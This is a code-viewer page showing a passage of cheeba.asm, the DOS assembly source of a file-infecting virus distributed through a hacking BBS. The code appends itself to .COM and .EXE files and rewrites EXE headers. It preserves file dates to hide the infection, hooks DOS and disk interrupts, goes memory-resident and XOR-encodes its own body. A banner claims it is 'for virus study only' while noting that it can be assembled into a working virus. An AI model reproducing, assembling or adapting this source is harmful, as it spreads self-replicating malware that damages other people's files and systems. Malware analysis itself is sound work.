📄 cheeba.asm
字号:
pop si
pop ax
test byte ptr [Flags],4
jz Init_Com
mov dx,si
mov cx,4
Get_CS: shr dx,1
rcr ax,1
loop Get_CS
sub ax,[Read_Buf+8] ; - header size
sub ax,10h
mov [Read_Buf+16h],ax
mov [Read_Buf+0Eh],ax
mov word ptr [Read_Buf+14h],offset Init
mov word ptr [Read_Buf+10h],offset End_Virus+100h
mov ax,Org_Fl_Len_Lo
mov dx,Org_Fl_Len_Hi
add ax,offset End_Virus-100h
adc dx,0
mov cx,200h
div cx
or dx,dx
jz No_Corr
inc ax
No_Corr: mov [Read_Buf+2],dx
mov [Read_Buf+4],ax
mov dx,offset Read_Buf
mov cx,18h
Init_Com: mov ah,40h
call Call_Dos
mov ax,5701h
mov cx,Org_Fl_Time
mov dx,Org_Fl_Date
call Call_Dos
JD_4: jmp short JD_3
;*** 00 / 31 / 4C: End program ***
Stop_Prg: push ds
push bx
lds bx,cs:[Jmp_22+1]
cli
mov byte ptr [bx],0EAh
mov word ptr [bx+1],offset Int_22
mov word ptr [bx+3],cs
sti
pop bx
pop ds
jmp short JD_4
Int_22: call Rest_21_Jmp
push cs
pop ds
les di,dword ptr [Jmp_22+1]
mov si,offset Org_22
call Move_Bytes
call Retr_Regs
Jmp_22: jmp 0:0
Org_22 db 5 dup (?)
;*** Start prog ***
Start_Prg: lds bx,cs:[Jmp_13+1]
cli
mov byte ptr [bx],0EAh
mov word ptr [bx+1],offset Int_13
mov word ptr [bx+3],cs
sti
call Retr_Regs
JD_5: jmp short JD_4
Int_13: call Rest_21_Jmp
push si
push di
push ds
push es
push cs
pop ds
les di,dword ptr [Jmp_13+1]
mov si,offset Org_13
call Move_Bytes
pop es
pop ds
pop di
pop si
Jmp_13: jmp 0:0
Org_13 db 5 dup (?)
;*** Check for string 'iru' (vIRUs) ***
Check_Vir: cmp bx,cs:[Exec_Handle]
jne No_Vir
sub cx,2
jc No_Vir
push ds
pop es
mov di,dx
mov al,'i'
Iru_Lp: repnz scasb
jnz No_Vir
cmp word ptr [di],'ur'
jne Iru_Lp
mov word ptr cs:[Exec_Handle],0FFFFh
and byte ptr cs:[Flags],0FEh
No_Vir: jmp short JD_5
Move_Bytes: cli
cld
movsw
movsw
movsb
sti
ret
Rest_Orig_21: push si
push di
push ds
push es
push cs
pop ds
mov si,offset Org_21_Code
les di,dword ptr [Org_21_Addr]
call Move_Bytes
pop es
pop ds
pop di
pop si
ret
Rest_21_Jmp: push ds
push bx
lds bx,dword ptr cs:[Org_21_Addr]
cli
mov byte ptr [bx],0EAh
mov word ptr [bx+1],offset New_21
mov word ptr [bx+3],cs
sti
pop bx
pop ds
ret
;*** Proc: Save regs ***
Save_Regs: mov word ptr cs:[Save_Ds],ds
push cs
pop ds
mov word ptr [Save_Ax],ax
mov word ptr [Save_Bx],bx
mov word ptr [Save_Cx],cx
mov word ptr [Save_Dx],dx
mov word ptr [Save_Si],si
mov word ptr [Save_Di],di
mov word ptr [Save_Es],es
ret
Retr_Regs: push cs
pop ds
mov ax,word ptr [Save_Ax]
mov bx,word ptr [Save_Bx]
mov cx,word ptr [Save_Cx]
mov dx,word ptr [Save_Dx]
mov si,word ptr [Save_Si]
mov di,word ptr [Save_Di]
mov es,word ptr [Save_Es]
mov ds,word ptr [Save_Ds]
ret
Go_Beg_File: mov ax,4200h
xor cx,cx
cwd ; dx = 0
call Call_Dos
ret
Exec_Handle dw 0FFFFh ; Handle of opened-with-write- exec. file
Flags db (?) ; Flags: 1 = Sure exec (- Maybe data)
; 4 = EXE-file (- COM)
Org_Fl_Len_Lo dw (?)
Org_Fl_Len_Hi dw (?)
Org_Fl_Time dw (?)
Org_Fl_Date dw (?)
Save_Ax dw (?)
Save_Bx dw (?)
Save_Cx dw (?)
Save_Dx dw (?)
Save_Si dw (?)
Save_Di dw (?)
Save_Ds dw (?)
Save_Es dw (?)
Save_A_Reg dw (?)
Decoded: mov word ptr cs:[Save_A_Reg],ds
push ax
push bx
push cx
push dx
push ds
push es
mov ah,45h
mov bx,0D15h
int 21h
cmp bx,0F0Ch
jne N_Y_Inst
jmp Jmp_No_Init
N_Y_Inst: cld
xor ax,ax
mov ds,ax
mov ax,[88h] ; Save I22 addr
mov cs:[Jmp_22+1],ax
mov ax,[8Ah]
mov cs:[Jmp_22+3],ax
mov ax,[04Ch] ; Save I13 addr
mov cs:[Jmp_13+1],ax
mov dx,[04Eh]
mov cs:[Jmp_13+3],dx
mov ah,52h
int 21h
cmp dx,es:[bx-2]
jnb Jmp_No_Init
push [84h]
push [86h]
push cs
pop ds
push cs
pop es
mov si,offset Com_First
mov di,offset Com_Start_2
MoveStrt: lodsw ; Other .COM start-up
cmp si,offset CodePars+3
je No_MS_Lp
xchg ax,[di]
mov [si-2],ax
inc di
inc di
No_MS_Lp: cmp si,offset VirTitle
jb MoveStrt
xor byte ptr [Init],1
xor byte ptr [S_9],6Ch
xor byte ptr [Decode_Lp+2],1
xor byte ptr [S_5],1
xor byte ptr [S_6+1],1
xor byte ptr [S_7],7
xor byte ptr [S_8],6Ch ; Nop <> CLD
mov ax,word ptr cs:[Save_A_Reg]
dec ax
MCB_Loop: mov ds,ax
cmp byte ptr [0],'Z'
je Found_End_MCB
add ax,[3]
inc ax
cmp ah,0A0h
jb MCB_Loop
add sp,4
Jmp_No_Init: jmp short No_Init
Found_End_MCB: mov bx,[3]
Here_Pars: sub bx,100h ; Filled in init-proc.
jc No_Init
mov [3],bx
add ax,bx
inc ax
mov ds,cs:[Save_A_Reg]
mov word ptr [2],ax
sub ax,10h
mov cx,offset End_Virus-100h
push cs
pop ds
mov es,ax
mov si,100h
mov di,si
repz movsb
pop ds
pop si
mov es:[Org_21_Addr],si
mov es:[Org_21_Addr+2],ds
mov di,offset Org_21_Code
call Move_Bytes
cli
mov byte ptr [si-5],0EAh
mov word ptr [si-4],offset New_21
mov word ptr [si-2],es
sti
lds si,cs:[Jmp_22+1]
mov di,offset Org_22
call Move_Bytes
lds si,cs:[Jmp_13+1]
mov di,offset Org_13
call Move_Bytes
No_Init: pop es
pop ds
pop dx
pop cx
pop bx
pop ax
test cs:Flags,4
jnz Rest_Stack
push ds
push cs
pop ds
mov cx,10h
mov si,offset Read_Buf
mov di,100h
repz movsb
pop ds
retf
Rest_Stack: mov ax,ds ; Stack restore for .EXE files
Exe_SS: add ax,0
add ax,10h
cli
mov ss,ax
Exe_SP: mov sp,0
sti
mov ax,ds
Exe_Cs: add ax,0
add ax,10h
push ax
Exe_Ip: mov ax,0
push ax
retf
Com_Start_2: mov di,100h
push cs
mov ax,cs
push di
db 05h ; Add Ax,xxxx
mov di,offset Init
push ax
push di
retf
;*** INIT - ONLY DECODE - PART ***
Init: mov si,offset Com_First
S_9: cld
Decode_Lp: xor byte ptr cs:[si],0
S_5: inc si
S_6: cmp si,offset Init
S_7: jne Decode_Lp
S_8: nop
jmp Decoded
Read_Buf db 0CDh,20h
db 16h dup (?)
End_Virus: cld
mov word ptr [S_3+1],offset Init
mov word ptr [Here_Pars+2],(((offset End_Virus-101h) shr 4) +1) shl 1
mov di,offset Coded
New_Us: mov si,offset User_St
B_V_CLp: lodsb
or al,al
jz New_Us
add [di],al
inc di
cmp di,offset No_Read
jb B_V_CLp
jmp Init
User_St db 'users.bbs',0
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] [=- ;
; -=] For All Your H/P/A/V Files [=- ;
; -=] SysOp: Peter Venkman [=- ;
; -=] [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=][][][][][][][][][][][][][][][=- ;
; ;
; *** NOT FOR GENERAL DISTRIBUTION *** ;
; ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
; Around Among the General Public. It Will be Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
; Is. Keep This Code in Responsible Hands! ;
; ;
;****************************************************************************;
;哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -